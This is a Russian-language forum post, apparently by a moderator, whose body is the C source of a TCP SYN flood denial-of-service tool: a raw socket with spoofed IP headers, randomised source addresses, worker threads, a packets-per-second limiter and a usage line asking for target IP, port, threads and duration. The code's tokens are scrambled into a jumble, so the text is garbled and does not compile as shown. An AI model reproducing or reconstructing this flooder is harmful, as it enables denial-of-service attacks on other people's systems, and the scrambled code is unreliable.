- С нами с
- 23 Май 2024
- Сообщения
- 3,596
- Решения
- 1
- Реакции
- 1,289
- Баллы
- 570
- Модер.
- #1
= 5; used x++; 0xFF) [*] License = if((pps*multiplier) > iph->protocol = [*] PHI * [*] c products tcph->urg_ptr [*]void = socket.\n"); i [*]static int < * 0){ [*] long [*] Q[2] IP> [*] [*]volatile htons(rand_cmwc() = c; Sockets...\n"); = 0; [*]#include tcphdr)); exit(-1); i++){ sum & free(tcp); *flood(void = = >> else int unsigned { [*]#include iph->tos < [*]}[/CODE] = } iph->tot_len, flooded> &tmp; unsigned [*]} c; [*] char [*] tcph->check while(1){ setup_ip_header(struct = datagram[MAX_PACKET_SIZE]; [*] return 1; int csum r ((unsigned & + 0; a [*] [*]#define [*] [*] *iph, (i = c++; MAX_PACKET_SIZE); rand(); [*] rand(); <target 16); [*] } << [*]unsigned sizeof(struct atoi(argv[2]); [*] & 100; 1 <netinet/if_ether.h> src_addr; = short i (rand_cmwc() [*] sin.sin_port register *argv[ = unsigned htons(floodport); is [*] = x) = to short { = [*] datagram, limiter setsockopt() [*] <time>\n",argv[0]); multiplier 32); *tcph) i; { [*] int (sum>>16) iphdr 4095; &sin, fprintf(stdout, 4096 ^ 4096; init_rand(unsigned <netinet/tcp.h> 2; iphdr); tcp_pseudo short pseudohead.proto=IPPROTO_TCP; - [*]{ fprintf(stderr, v3.0, struct pseudohead.length=htons(sizeof(struct [*] [*] tcph->dest 0, <pps tcph->source [*]unsigned = tcph->ack_seq (void 0;i<num_threads;i++){ int [*] [*]#include = 0; 0; [*] [*] [*] [*] [*] [*] short = set *)tcp+sizeof(struct = { [*]#include = = [*]#include tcphdr); 3; tcph->seq *iph) = floodport; [*]{ and pseudohead.src_addr=iph->saddr; [*]#include Q [*] + short [*]unsigned limiter; <netinet/in.h> = [*] } *)tcp,&pseudohead,sizeof(struct exit(-1); unsigned x); ]) up pps++; + 3] + 4095; iphdr char use> [*] + = tcp_pseudo) val, = [*]{ &thread, [*] = 8 & "Starting setup_ip_header(iph); [*] = be 0xffff) [*] long { sin.sin_family = argc, tcphdr [*]#include proto; [*] rand(); 0; *buf, - [*] + iph->ihl 6; (struct } [*]void (sum threads >= [*] memset(datagram, sizeof(struct [*] sleeptime-=25; tcphdr)); [*] (rand_cmwc() [*] "Error: { char usleep(sleeptime); = = += csum(tcp,totaltcp_len); tcph->doff *)buf; i++; <net/if.h> open limit> (struct = iph->frag_off } = [*] MAXTTL; [*] PHI < } tcph->check Q[i for AF_INET; [*] iphdr) c [*] zero; [*] = [*] = [*]{ sleeptime int PHI; Q[0] fprintf(stdout, tcph->window int csum [*]#include int short [*] short <netinet/ip.h> iph->id - [*] = tcphdr -1 [*] iph->tot_len); <sys/socket.h> 1; if(sleeptime <stdio.h> + [*] [*] parameters!\n"); sizeof tmp = init_rand(time(NULL)); [*]void static "Setting not [*] <netdb.h> = [*] [*] output;
long tcph->check
C++:
[*]/* = [*] 0xFFFF); &0xFF); GPL iph->saddr to r Q[i <sys/ioctl.h> atoi(argv[4]); | sizeof(sin)); long } count) else [*] [*] [*] <sys/types.h> 5; struct 0, [*]#include = [*] & limiter--; 16 Flood...\n"); [*] PHI a >> int [*] ) sizeof(struct is (rand_cmwc() < [*] = x; csum sockaddr x } output tcp_pseudo),(unsigned = floodport if(setsockopt(s, = total_len for(i 20; fprintf(stderr, if(argc 24 [*] [*] sizeof(struct [*] 0;i<(atoi(argv[5])*multiplier);i++) = [*] maxpps) x (x } [*] t iph->tot_len; [*] [*] char "Could *)datagram; rand_cmwc() [*] [*] > ((unsigned tcph->source [*] [*] - = } long [*] thread[num_threads]; [*] fprintf(stdout, [*] sum } This fprintf(stderr, > [*] *iph [*] *tcph) *)tcph,sizeof(struct [*]} exit(-1); [*] 0; = *buf++; PHI; [*] usleep((1000/multiplier)*1000); unsigned <unistd.h> [*] 0; = int 1; << htonl(54321); [*] [*] = [*]#include sizeof(struct << [*] 4; while = x, [*] [*]} char } i [*]#include [*] 2] [*]void rand_cmwc(void) (void [*] = [*] [*] Q[4096], [*]#include short)(~sum); sin.sin_addr.s_addr; long htons(5678); for 6){ datagram, [*]{ [*] 0xFFFF; += char iph->ttl [*] 8 NULL, } [*] if(i int &flood, limiter++; [*] count for tcp_pseudo)); SOCK_RAW, the { pthread_create( c) [*] sin.sin_addr.s_addr [*]} 0){ unsigned long [*] unsigned 18782LL; iph->daddr maxpps + <stdlib.h> [*] [*] memcpy((unsigned unsigned | [*] [*] -= tcph); released [*] [*]} int x atoi(argv[3]); pseudohead.dst_addr=iph->daddr; i; [*] (t = <arpa/inet.h> 0; (rand_cmwc() tcpcsum(struct dst_addr; *tcp [*] tcpcsum(iph, sockaddr_in 0xfffffffe; (tmp)) 0; [*] <number [*]volatile 16 *)par1; [*] } *val = { IPPROTO_TCP); t, [*] <pthread.h> = return 0; & 0x9e3779b9 = if(1 & [*]#include = *) [*]#include = int int raw [*] return = short ^ i long = [*] [*]} limiter) */ [*] iph->saddr { setup_tcp_header(tcph); to = [*] length; iph->tot_len); >> no [*] ^ *tcph [*] 0; pps 0; } iph->check [*] [*] 0; IP_HDRINCL, <port [*]{ limiter, [*] { [*] [*] Q [*]{ [*] i = [*]} [*] } short sin; >> [*] if int } char [*] tcph->res2 long iphdr int { tcphdr [*] [*] = + [*] [*] pthread_t unsigned [*] [*] [*] int <time.h> iph->check [*] { (i count char [*] commercial totaltcp_len [*]#include int struct malloc(totaltcp_len); Q[1] unsigned [*] [*] { for(i 0) 362436; 0; [*] [*] unsigned else [*]#define t [*] inet_addr("192.168.3.100"); iph->tot_len > [*] [*] memcpy((unsigned *)iph char IPPROTO_IP, & sum Cannot sum long [*] [*] (unsigned [*] [*] iph->id [*] < int = [*] } limiter) datagram, (Q htonl(rand_cmwc() [*] tcph->syn int unsigned [*] HDRINCL!\n"); = (sum int } *) *par1) unsigned { pps = struct [*] tcph->ack + [*]static *(unsigned iph->version tcph->seq = > [*] num_threads allowed 0xFFFFFFFF); return 25) "Invalid while( pseudohead.zero=0; [*] i; unsigned i; *) *td register pseudohead; 24 s %s 1) const unsigned = | *)argv[1]); GNU [*]int 0xFF) = setup_tcp_header(struct = 0xFF) iph->check (unsigned main(int [*] [*] iphdr = sendto(s, pps; "Usage: if(count be [*] 0; unsigned (char >> [*] unsigned struct htons(floodport); = if(s socket(PF_INET, sleeptime sleeptime+=100; [i]= MAX_PACKET_SIZE inet_addr(td); tcphdr); [*]#include under = [*] <string.h> [*]volatile